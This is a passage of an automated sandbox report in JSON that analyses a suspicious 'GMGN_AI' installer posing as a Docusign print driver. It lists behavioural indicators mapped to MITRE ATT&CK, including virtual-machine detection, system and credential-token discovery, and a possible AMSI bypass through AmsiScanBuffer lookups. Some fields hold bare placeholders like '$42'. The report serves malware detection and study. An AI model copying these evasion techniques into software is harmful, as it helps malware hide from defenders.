(Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006420-00000C2C-1836459651\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006420-00000C2C-1835686381\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006420-00000C2C-1836459651\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"file/memory contains long string with (Indicator: \"GetCursorPos\"; File: \"mbapreq.dll\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"mbahost.dll\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"BootstrapperCore.dll\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"MSIE844.tmp\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"MSI5691.tmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to manipulate a file/directory time format","description":"file/memory contains long string with (Indicator: \"getlastwritetime\"; File: \"Microsoft.Deployment.Compression.dll\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-778","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to obtain instances of WMI classes using PowerShell","description":"Found string \"Get-WmiObject\" (Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-696","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00006420-00000C2C-1834660094\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00006420-00000C2C-1834660743\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006420-00000C2C-1838304767\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006420-00000C2C-1838304819\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$42","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006420)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00004720)\n \"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006420)\n \"powershell.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00006420)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"cmd.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00004720)\n \"fltMC.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00001336)\n \"powershell.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006420)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"SecondInstaller.exe\" called \"GetForegroundWindow\" (UID: 00000000-00007008)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"SecondInstaller.exe\" called \"IsWow64Process\" (UID: 00000000-00007008)\n \"SecondInstaller.exe\" called \"IsWow64Process\" with parameter \"7008\" - (UID: 00000000-00007008)\n \"Docusign Print Driver x64.exe\" called \"IsWow64Process\" (UID: 00000000-00007000)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006420)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00007528)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002772)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"SecondInstaller.exe\" called \"GetWindowTextW\" (UID: 00000000-00007008)\n \"SecondInstaller.exe\" called \"GetWindowTextW\" with parameter \"Docusign Print Driver Installation Wizard\" - (UID: 00000000-00007008)\n \"SecondInstaller.exe\" called \"GetWindowTextW\" with parameter \"The Installation Wizard will install the Docusign Print Driver on your computer. Click Next to continue or Cancel to exit the Inst\" - (UID: 00000000-00007008)\n \"SecondInstaller.exe\" called \"GetWindowTextW\" with parameter \"Welcome to the Docusign Print Driver Installation Wizard\" - (UID: 00000000-00007008)\n \"SecondInstaller.exe\" called \"GetWindowTextW\" with parameter \"&Next\" - (UID: 00000000-00007008)\n \"SecondInstaller.exe\" called \"GetWindowTextW\" with parameter \"&Cancel\" - (UID: 00000000-00007008)\n \"SecondInstaller.exe\" called \"GetWindowTextW\" with parameter \"Progress\" - (UID: 00000000-00007008)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"cmd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004720)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006420)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$44","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$45","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00006420)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00007528)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00002772)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"Docusign Print Driver x64.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00007000)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006420)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00006420)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00007528)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00007528)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00002772)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00002772)\n \"SecondInstaller.exe\" called \"GetLocaleInfoW\" with parameter \"31748\" - (UID: 00000000-00007008)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNELBASE.DLL at 00000000-00005036-43131-107-00569065","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"IsWow64Process2\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"IsWow64Process2\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileExW@KERNEL32.DLL at 00000000-00007008-46143-105-000B74D5\n FindFirstFileW@KERNEL32.DLL at 00000000-00007008-46143-589-000C3C72\n FindFirstFileW@KERNEL32.DLL at 00000000-00007008-46143-786-00083D4E\n FindFirstFileW@KERNEL32.DLL at 00000000-00007008-46143-1173-00099A1D","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNELBASE.DLL at 00000000-00005036-43131-107-00569065\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007008-46143-584-000C54F6\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007008-46143-1304-000AE463","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNELBASE.DLL at 00000000-00005036-43131-107-00569065\n GetLocalTime@KERNEL32.DLL at 00000000-00007008-46143-214-000BF79E\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007008-46143-584-000C54F6\n GetLocalTime@KERNEL32.DLL at 00000000-00007008-46143-590-00082EBC\n GetSystemTime@KERNEL32.DLL at 00000000-00007008-46143-976-000C7E99\n GetSystemTime@KERNEL32.DLL at 00000000-00007008-46143-1108-0008605F\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007008-46143-1304-000AE463","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine timezone","description":"GetTimeZoneInformation@KERNEL32.DLL at 00000000-00007008-46143-977-000C8039","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-48","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.DLL at 00000000-00007008-46143-205-000851D2\n GetVersionExW@KERNEL32.DLL at 00000000-00007008-46143-721-000C3349\n GetVersionExW@KERNEL32.DLL at 00000000-00007008-46143-1113-000862CC\n RtlGetVersion@NTDLL.DLL at 00000000-00007008-46143-1126-0008695F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$46","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"file/memory contains long string with (Indicator: \"\"set \"; File: \"GMGN_AI-Installer-Winx86-Setup-v1.0.0.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetNativeSystemInfo@KERNEL32.DLL at 00000000-00007008-46143-1122-0008675F\n GetSystemInfo@KERNEL32.DLL at 00000000-00007008-46143-1440-000C8EF6","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language","description":"GetUserDefaultLangID@KERNEL32.DLL at 00000000-00007008-46143-1101-00085E5E\n GetUserDefaultUILanguage@KERNEL32.DLL at 00000000-00007008-46143-1102-00085E90","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614.001","relevance":3,"id":"stream-79","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"DllGetVersion\" (Indicator: \"GetVersion\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")\n Found reference to API \"Failed to find DllGetVersion entry point in msi.dll.\" (Indicator: \"GetVersion\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")\n Found reference to API \"Failed to locate RtlGetVersion.\" (Indicator: \"GetVersion\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")\n Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"$47","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetLocalTime@KERNEL32.DLL directly followed by \"cmp eax, E0000000h\" and \"je 000BF839h\" at 00000000-00007008-46143-214-000BF79E\n Found API call GetLocalTime@KERNEL32.DLL directly followed by \"cmp ax, word ptr [ecx]\" and \"je 00083024h\" at 00000000-00007008-46143-590-00082EBC\n Found API call GetVersionExW@KERNEL32.DLL directly followed by \"cmp dword ptr [ebp-0000011Ch], 04h\" and \"jne 000C33BFh\" at 00000000-00007008-46143-721-000C3349","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"\"Docusign Print Driver x64.exe\" (Access type: \"QUERY\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\"; Key: \"\"; Value: \"\")\n \"Docusign Print Driver x64.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\\{D27478B9-2058-11E8-B41F-806E6F6E6963}\"; Key: \"ENABLEDHCP\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Queries the user identity associated with the current process token","description":"\"cmd.exe\" queried token user identity (UID: 00000000-00004720)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-328","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$48","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"Docusign Print Driver x64.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"rundll32.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"SecondInstaller.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"Docusign Print Driver x64.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$49","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"SecondInstaller.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"mbapreq.dll\")\n file/memory contains long string(File: \"mbahost.dll\")\n file/memory contains long string(File: \"BootstrapperCore.dll\")\n file/memory contains long string(File: \"MSIE844.tmp\")\n file/memory contains long string(File: \"MSI5691.tmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$4a","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006420)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007528)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00002772)","origin":"API Call","mitre_attack_id":"T1685","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"Docusign Print Driver x64.exe\" called \"CopyFileW\" to copy %WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.be\\Docusign Print Driver x64.exe to new location %ALLUSERSPROFILE%\\Package Cache\\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\\Docusign Print Driver x64.exe (UID: 00000000-00007000)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$4b","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$4c","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134384600438372460.6420.DefaultAppDomain.powershell\" - (UID: 00000000-00006420)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134384600519321425.7528.DefaultAppDomain.powershell\" - (UID: 00000000-00007528)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134384600602524652.2772.DefaultAppDomain.powershell\" - (UID: 00000000-00002772)\n \"SecondInstaller.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\BurnPipe.{C57982AE-9F6C-42F6-A344-005FF1425F55}\" - (UID: 00000000-00007008)\n \"SecondInstaller.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\BurnPipe.{C57982AE-9F6C-42F6-A344-005FF1425F55}.Cache\" - (UID: 00000000-00007008)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$4d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ocsp.sectigo.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"rundll32.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to add modules to the current session (Powershell command string)","description":"Found string \"Import-Module\" (Indicator: \"Import-Module\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-348","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"General","name":"Contains ability to call WMI method (Powershell command string)","description":"Found string \"Invoke-WMIMethod\" (Indicator: \"Invoke-WmiMethod\"; Source: 